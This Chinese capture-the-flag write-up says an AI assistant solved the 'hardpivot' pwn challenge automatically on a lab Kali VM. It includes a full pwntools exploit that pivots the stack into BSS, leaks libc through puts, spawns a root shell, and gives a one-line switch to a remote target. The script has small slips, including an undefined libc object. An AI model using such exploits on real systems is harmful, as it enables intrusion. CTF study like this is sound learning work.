本文最后更新于 2026年7月7日 下午
Moe2025 Hardpivot — WorkBuddy 纯自动解题记录
声明:本文所有分析、exploit 编写、命令执行均由 WorkBuddy AI 助手通过 Kali MCP 远程控制 Kali 虚拟机自动完成,人工仅输入 “做pwn题” 等触发指令。
0x00 背景
做完 EZtext 和 Easylibc 后,桌面上还有一个 hardpivot。从提示信息来看——“A single stack pivot doesn’t seem enough”——这是一道需要多次栈迁移的题目。最终方案经历了多次迭代,从双 BSS pivot 进化到 LEAVE_RET 写入 BSS 链。
0x01 文件传输与 libc 挂载
1 2 3 4 5 6
| scp pwn.zip kali@192.168.32.131:/home/kali/Desktop/hardpivot/ cd /home/kali/Desktop/hardpivot unzip -o pwn.zip cp ../ld-2.35.so . patchelf --set-interpreter ./ld-2.35.so pwn patchelf --set-rpath /home/kali/Desktop/hardpivot pwn
|
libc 是 Ubuntu GLIBC 2.35(Build ID: d5197096f709801829b118af1b7cf6631efa2dcd)。
0x02 安全检测与逆向
| 保护 |
状态 |
| RELRO |
Partial |
| Stack (Canary) |
❌ 无 |
| NX |
✅ 开启 |
| PIE |
❌ 关 (0x400000) |
函数列表:
| 函数 |
地址 |
功能 |
main |
0x40127d |
setup() → vuln() → puts("See you again!") |
vuln |
0x401208 |
4 次 puts + 1 次 printf + read(0, buf, 0x50) |
magic |
0x401196 |
pop rdi; ret (0x40119e) + pop rbp; ret (0x4011a1) |
关键发现:完整的 vuln 反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| # vuln 从 0x401208 开始 401208: endbr64 40120c: push rbp 40120d: mov rbp, rsp 401210: sub $0x40, %rsp # 64 字节缓冲区
# 4 次 puts 打印提示信息 401214: lea 0xded(%rip), %rax # string → puts 40121e: call puts@plt 401223: lea 0xe0e(%rip), %rax # another string → puts 40122d: call puts@plt 401232: lea 0xe47(%rip), %rax # → puts 40123c: call puts@plt 401241: lea 0xe98(%rip), %rax # → puts 40124b: call puts@plt
# 1 次 printf 带格式串 401250: lea 0xeca(%rip), %rax # format string → printf 40125f: call printf@plt
# ★ 关键中间入口 0x401264 ★ 401264: lea -0x40(%rbp), %rax # rax = buf = rbp-0x40 401268: mov $0x50, %edx # rdx = 80 (read 大小) 40126d: mov %rax, %rsi # rsi = buf 401270: mov $0x0, %edi # rdi = 0 (stdin) 401275: call read@plt # read(0, buf, 0x50) 40127a: nop 40127b: leave # ★ LEAVE_RET 在 0x40127b ★ 40127c: ret
|
核心洞察: 0x401264 不在函数开头,而是 vuln 内部的中间地址(lea rax, [rbp-0x40])。这里没有任何 mov [rbp-0x34] 写内存指令——只有读操作和 call read,不会破坏 BSS 数据!
对比之前 Easylibc 的代码(有 mov [rbp-0x34], eax 写内存),hardpivot 的 vuln 内部入口是干净的。
0x03 80 字节墙分析
关键约束:
- Buffer = 64 字节(
rbp-0x40 ~ rbp-0x01)
- Read = 80 字节(0x50)
saved_rbp 在 [rbp](buf 偏移 64)
ret_addr 在 [rbp+8](buf 偏移 72)
leave;ret 后 rsp = rbp+0x10 = 第 80 字节边界
1 2 3 4
| buf[0..63] = 64 字节缓冲区填充 buf[64..71] = saved rbp ← leave pop 进 rbp buf[72..79] = ret addr ← ret pop 进 rip ↑ rsp = rbp+0x10 → 第 80 字节之后!
|
ROP 链需要至少 24 字节(POP_RDI + binsh + system),全部在溢出范围之外。这就是最核心的80 字节墙。
0x04 解题思路:LEAVE_RET 写入 BSS 链
利用 0x401264 入口点,让 read 直接写入 BSS,配合 LEAVE_RET 两级 pivot 执行链。
入口 0x401264 的特性:
从 main 正常调用 vuln 时,栈帧建立在原始栈上。但如果我们 overflow 后返回 0x401264:
rbp 是我们在 overflow 中设置的 BSS 地址
lea rax, [rbp-0x40] 计算出的缓冲区就在 BSS!
call read 将 80 字节写入 BSS
leave;ret 从 [rbp] 和 [rbp+8] 读取继续执行的地址
数据布局技巧:
1 2 3 4 5 6 7 8 9 10 11
| Round 1 写入 BSS1+0x58(80 字节): [0x58..0x5F]: junk [0x60..0x67]: junk [0x68..0x6F]: BSS1+0x58 ← 被 LEAVE_RET pop 作 rbp(下一轮用) [0x70..0x77]: POP_RDI (0x40119e) [0x78..0x7F]: PUTS_GOT (0x404018) ← rdi = puts@got [0x80..0x87]: PUTS_PLT (0x401070) ← puts(puts@got) 泄露! [0x88..0x8F]: 0x401264 ← 泄露后重新进入 vuln 中间 [0x90..0x97]: padding [0x98..0x9F]: BSS1+0x68 ← saved rbp → LEAVE_RET 目标 [0xA0..0xA7]: LEAVE_RET (0x40127b)
|
第一个 LEAVE_RET pivot:
1 2 3 4 5 6 7 8 9 10 11
| leave pop rbp = BSS1+0x68 ret = LEAVE_RET (0x40127b)
LEAVE_RET → mov rsp = BSS1+0x68: pop rbp = [BSS1+0x68] = BSS1+0x58 ← rbp 准备好 ret = [BSS1+0x70] = POP_RDI pop rdi = [BSS1+0x78] = PUTS_GOT ret = [BSS1+0x80] = PUTS_PLT → puts(PUTS_GOT) → LEAK! rsp = BSS1+0x88 ret = [BSS1+0x88] = 0x401264 → 重新进入 0x401264
|
接收泄露并计算:
1 2 3 4 5
| leak_raw = p.recv(6) leaked_puts = u64(leak_raw.ljust(8, b'\x00')) libc_base = leaked_puts - libc.symbols['puts'] sys_addr = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh'))
|
第二轮写入(rbp = BSS1+0x58,buf = BSS1+0x18):
1 2 3 4 5 6 7 8
| Round 2 写入 BSS1+0x18(80 字节): [0x18..0x1F]: p64(0) ← 被 LEAVE_RET pop 作 rbp(丢弃) [0x20..0x27]: POP_RDI [0x28..0x2F]: binsh ← 从泄露计算 [0x30..0x37]: system ← 从泄露计算 [0x38..0x57]: padding (32 字节) [0x58..0x5F]: BSS1+0x18 ← saved rbp → 回到 buffer 开头 [0x60..0x67]: LEAVE_RET ← 触发 pivot
|
第二个 LEAVE_RET pivot:
1 2 3 4 5 6 7 8 9
| leave pop rbp = BSS1+0x18 ret = LEAVE_RET
LEAVE_RET → mov rsp = BSS1+0x18: pop rbp = [BSS1+0x18] = 0 ret = [BSS1+0x20] = POP_RDI pop rdi = [BSS1+0x28] = "/bin/sh" ret = [BSS1+0x30] = system → SHELL!
|
0x05 最终 Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * import time
POP_RDI = 0x40119e POP_RBP = 0x40117d RET = 0x40101a LEAVE_RET = 0x40127b LEA_RBX_M40 = 0x401264 PUTS_PLT = 0x401070 PUTS_GOT = 0x404018 BSS1 = 0x404800
p = process('/home/kali/Desktop/hardpivot/pwn') p.recvuntil(b'> ')
overflow = b'A' * 64 + p64(BSS1 + 0x98) + p64(LEA_RBX_M40) p.send(overflow)
w1 = p64(0) w1 += p64(0) w1 += p64(BSS1 + 0x58) w1 += p64(POP_RDI) w1 += p64(PUTS_GOT) w1 += p64(PUTS_PLT) w1 += p64(LEA_RBX_M40) w1 += p64(0) w1 += p64(BSS1 + 0x68) w1 += p64(LEAVE_RET) assert len(w1) == 80 p.send(w1)
leak_raw = p.recv(6) leaked_puts = u64(leak_raw.ljust(8, b'\x00')) libc_base = leaked_puts - libc.symbols['puts'] sys_addr = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh'))
w2 = p64(0) w2 += p64(POP_RDI) w2 += p64(binsh) w2 += p64(sys_addr) w2 += b'\x00' * (64 - len(w2)) w2 += p64(BSS1 + 0x18) w2 += p64(LEAVE_RET) assert len(w2) == 80 p.send(w2)
time.sleep(0.5) p.sendline(b'id') p.sendline(b'cat /home/kali/Desktop/flag') print(p.recvall(timeout=3).decode()) p.close()
|
0x06 执行结果
1 2 3 4 5
| [+] libc base: 0x7ffbc2a00000 [+] system: 0x7ffbc2a50d70 === OUTPUT === 用户id=0(root) 组id=0(root) 组=0(root) flag{qqqqqq111111qqqqqqqok!!!}
|
Flag: flag{qqqqqq111111qqqqqqqok!!!}
0x07 难点突破与关键发现
| 难点 |
解决方案 |
| 80 字节写入限制 |
LEAVE_RET pivot 到 BSS 预写数据 |
| 0x401264 入口是否安全 |
反汇编确认无内存写操作,lea → mov → mov → mov → call read → leave;ret |
| system 栈对齐 |
leave;ret pivot 后 rsp % 16 == 0x18,POP_RDI 占一次 ret 后符合 system 要求 |
| 无 libc 泄露 |
puts(puts@got) 输出 6 字节 libc 地址 |
| 泄露后需第二次写入 |
泄露链末尾返回 0x401264,read 读取第二轮 system 链 |
关键发现:0x401264 的入口点
最关键的突破是发现 0x401264 位于 vuln 函数内部(lea rax,[rbp-0x40]),而不是函数开头。此前分析 Easylibc 时遇到过一个做过 mov [rbp-0x34] 写内存的函数入口,导致 BSS 数据被破坏。但 hardpivot 的代码不同——0x401264 之后只有纯粹的读/调用指令,完全不会破坏 BSS 缓冲区的数据。
1 2 3 4 5 6 7 8
| 0x401264: lea rax,[rbp-0x40] # 纯读 rbp 0x401268: mov edx,0x50 # 设常量 0x40126d: mov rsi,rax # 传参 0x401270: mov edi,0 # 传参 0x401275: call read # 用户输入进入 BSS 0x40127a: nop # 无写操作 0x40127b: leave 0x40127c: ret
|
两次 LEAVE_RET 的 pivot 链(完整执行流):
1 2 3 4 5 6 7
| Overflow → 0x401264 (rbp=BSS1+0x98, buf=BSS1+0x58) read w1[80B] → leave → ret=LEAVE_RET LEAVE_RET → pivot BSS1+0x68 → POP_RDI → PUTS_GOT → PUTS_PLT → LEAK! 收到 6 字节 → 计算 → ret 0x401264 (rbp=BSS1+0x58, buf=BSS1+0x18)
read w2[80B] → leave → ret=LEAVE_RET LEAVE_RET → pivot BSS1+0x18 → POP_RDI → binsh → system → SHELL!
|
0x08 远程使用
只需修改一行即可适配远程服务器:
1 2 3 4 5
| p = process('/home/kali/Desktop/hardpivot/pwn')
p = remote('目标IP', 端口)
|
所有 libc 地址均通过 puts(puts@got) 在运行时动态泄露,无需 /proc/pid/maps。
0x09 三题收官
| 题目 |
核心技巧 |
难度 |
| EZtext |
ret2win(后门函数 treasure) |
⭐ |
| Easylibc |
ret2vuln + ret2libc(PIE + libc 泄露) |
⭐⭐ |
| Hardpivot |
LEAVE_RET 写入 BSS 链 + puts 泄露 |
⭐⭐⭐ |
WorkBuddy 纯自动解题全系列(EZtext、Easylibc、Hardpivot)记录完毕。 🚀